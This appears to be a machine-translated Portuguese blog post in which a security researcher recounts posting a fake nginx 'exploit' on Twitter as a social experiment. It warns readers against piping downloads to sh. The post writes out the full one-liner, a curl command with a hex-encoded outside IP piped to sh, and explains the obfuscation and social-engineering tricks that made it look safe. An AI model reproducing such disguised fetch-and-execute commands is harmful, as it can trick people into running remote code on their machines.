O sucesso de um experimento social com uma exploração falsa para o nginx

Nota perev. : O autor do artigo original, publicado em 1º de junho, decidiu realizar um experimento entre os interessados ​​em segurança da informação. Para fazer isso, ele preparou uma exploração falsa para uma vulnerabilidade não revelada no servidor da web e a publicou em seu twitter. Suas suposições - para serem instantaneamente expostas por especialistas que veem uma fraude óbvia no código - não se tornaram realidade ... Eles superaram todas as expectativas e na direção oposta: o tweet recebeu grande apoio de inúmeras pessoas que não verificaram seu conteúdo.



TL; DR: nunca use pipelining de arquivo em sh ou bash. Essa é uma ótima maneira de perder o controle do seu computador.

Quero compartilhar com vocês uma pequena história sobre a exploração cômica do PoC criada em 31 de maio. Ele apareceu prontamente em resposta às notícias de Alisa Esage Shevchenko , membro da Zero Day Initiative (ZDI), que informações sobre a vulnerabilidade no NGINX que leva ao RCE (execução remota de código) logo seriam reveladas. Como o NGINX é a base de muitos sites, a notícia deveria produzir o efeito de uma bomba explodindo. Porém, devido a atrasos no processo de "divulgação responsável" de informações, os detalhes do que aconteceu não eram conhecidos - este é o procedimento padrão da ZDI.


Tweet de divulgação de vulnerabilidades do NGINX

Tendo terminado o trabalho na nova técnica de ofuscação em curl, citei o tweet original e "vazei o PoC de trabalho", consistindo em uma linha de código supostamente usando a vulnerabilidade descoberta. Claro, era um absurdo completo. Eu pensei que eles me levariam imediatamente a água limpa e que, na melhor das hipóteses, eu receberia alguns retweets (ok).


Tweet falso de exploração

No entanto, eu não conseguia imaginar o que aconteceu a seguir. A popularidade do meu tweet disparou. Surpreendentemente, no momento (15:00, horário de Moscou, em 1º de junho), até agora poucos perceberam que isso é falso. Muitos o retweetam sem checá-lo (sem mencionar a admiração dos belos gráficos ASCII que ele exibe).


Basta olhar que beleza!

Embora todos esses loops e cores sejam maravilhosos, é claro: para vê-los, as pessoas executavam o código em suas máquinas. Felizmente, os navegadores funcionam de maneira semelhante e, combinado com o fato de eu não precisar de problemas legais, o código oculto no meu site apenas fez chamadas de eco sem tentar instalar ou executar nenhum código adicional.

Uma pequena digressão: netspooky , dnz , eu e outros caras da equipe Thugcrowd brincamos com várias maneiras de ofuscar os comandos de curl há algum tempo, porque é legal ... e nós somos nerds. netspooky e dnz descobriram várias maneiras novas que me pareciam extremamente promissoras. Entrei na diversão e tentei adicionar conversões decimais de IP a um conjunto de truques. Descobriu-se que o IP também pode ser convertido em hexadecimal. Além disso, o curl e a maioria das outras ferramentas NIX gostam de comer IPs hexadecimais! Assim, tudo o que era necessário era simplesmente criar uma linha de comando convincente e segura. Eu finalmente decidi sobre isso:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost 

Engenharia Socioeletrônica (SEE) - mais do que apenas phishing

Segurança e hábito foram a parte principal deste experimento. Eu acho que foram eles que levaram ao seu sucesso. A linha de comando implicava explicitamente em segurança, referindo-se a "127.0.0.1" (o conhecido host local). Acredita-se que o host local seja seguro e os dados nele nunca saiam do seu computador.

A habitabilidade foi o segundo componente essencial do experimento. Como o público-alvo consistia principalmente de pessoas familiarizadas com os conceitos básicos de segurança de computadores, era importante criar um código que suas partes parecessem familiares e familiares (e, portanto, seguras). Emprestar elementos de conceitos antigos de exploração e combiná-los de uma maneira incomum tem sido muito bem-sucedido.

Abaixo está uma análise detalhada de uma única linha. Tudo nesta lista é cosmético por natureza e praticamente nada é necessário para o seu trabalho real.

Quais componentes são realmente necessários? Esses são -gsS , -O 0x0238f06a , |sh e o próprio servidor da web. O servidor da Web não continha instruções maliciosas, mas simplesmente transferiu os gráficos ASCII usando comandos echo no script contido em index.html . Quando o usuário digitou uma linha com |sh no meio, index.html foi carregado e executado. Felizmente, os detentores de servidores da web não tinham más intenções.

• ../../../%00 - representa uma saída fora do diretório;
• ngx_stream_module.so - caminho para o módulo NGINX aleatório;
• /bin/sh%00\<'protocol:TCP' - supostamente rodamos /bin/sh na máquina de destino e redirecionamos a saída para o canal TCP;
• -O 0x0238f06a#PLToffset - um ingrediente secreto suplementado por #PLToffset para parecer um deslocamento de memória de alguma forma contido no PLT;
• |sh; - Outra peça importante. Precisávamos redirecionar a saída para sh / bash para executar o código proveniente do servidor da Web atacante localizado em 0x0238f06a ( 2.56.240.x );
• nc /dev/tcp/localhost - um manequim no qual netcat se refere a /dev/tcp/localhost para que tudo pareça seguro novamente. De fato, não faz nada e está incluído na linha da beleza.

Isso conclui a decodificação de um script de uma linha e a discussão de aspectos da "engenharia socioeletrônica" (phishing intrincado).

Configuração e contramedidas do servidor da Web

Como a grande maioria dos meus assinantes é de segurança da informação / hackers, decidi tornar o servidor da Web um pouco mais resistente às manifestações de "interesse" da parte deles, apenas para que os caras tivessem algo a fazer (e foi divertido configurá-lo). Não vou listar todas as armadilhas aqui, pois o experimento ainda está em andamento, mas aqui estão algumas coisas que o servidor faz:

• Monitora ativamente as tentativas de distribuição em determinadas redes sociais e substitui várias miniaturas de visualização para incentivar o usuário a seguir o link.
• Redireciona Chrome / Mozilla / Safari / etc. para o vídeo promocional do Thugcrowd em vez de mostrar o script do shell.
• Ele monitora sinais óbvios de invasão / invasão, após o que começa a redirecionar solicitações para servidores da NSA (ha!).
• Instala o Trojan, bem como o BIOS do rootkit, em todos os computadores cujos usuários visitam o host a partir de um navegador comum (piada!).

Uma pequena parte do antímero

Nesse caso, meu único objetivo era aprender alguns dos recursos do Apache - em particular, regras legais para redirecionar solicitações - e pensei: por que não?

Exploração NGINX (real!)

Siga @alisaesage no Twitter e fique atento ao excelente trabalho da ZDI na resolução de vulnerabilidades muito reais e na exploração de oportunidades no NGINX. O trabalho deles sempre me fascinou e agradeço a Alice pela paciência com todas as menções e notificações causadas por meu tweet idiota. Felizmente, trouxe alguns benefícios: ajudou a aumentar a conscientização sobre as vulnerabilidades do NGINX, bem como os problemas causados ​​pelo abuso de cachos.